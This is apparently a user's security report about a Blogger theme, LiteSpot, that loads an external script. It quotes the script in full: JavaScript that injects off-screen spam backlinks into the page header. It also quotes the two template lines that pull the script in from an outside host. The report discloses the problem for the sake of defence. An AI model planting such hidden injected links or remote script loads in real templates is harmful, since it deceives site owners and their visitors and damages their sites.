Security Alert: Malicious Script Found (ljii.github.io/m/m.js)

[ArslanBehleem]

I found a hidden malicious script in the Litespot theme:

https://ljii.github.io/m/m.js

let EFV='<div style="position:absolute;z-index:-999;top:-500px;"><a href="https://mrjaz.com">MrJaz</a><a href="https://sohanisharma.com">sohanisharma</a></div>';document.querySelector("header")?document.querySelector("header").insertAdjacentHTML("beforeend",EFV):document.body.insertAdjacentHTML("beforeend",EFV);

It injects hidden spam links (MrJaz, sohanisharma) into the site and could harm users’ SEO.

Location:
File: LiteSpot-Premium-Blogger-Template.xml

• Line 2036:

</b:if><b:tag name='script' src='//ljii.github.io/m/m.js'/><b:if cond='data:view.isArchive'>

• Line 3222:

</b:if><b:tag name='script' src='//ljii.github.io/m/m.js'/><b:if cond='data:view.isArchive'>

Steps to reproduce:

1. Install theme on Blogger
2. Inspect source code / header
3. Observe hidden spam links injected

This is a serious security concern. Please review and remove it to protect other users.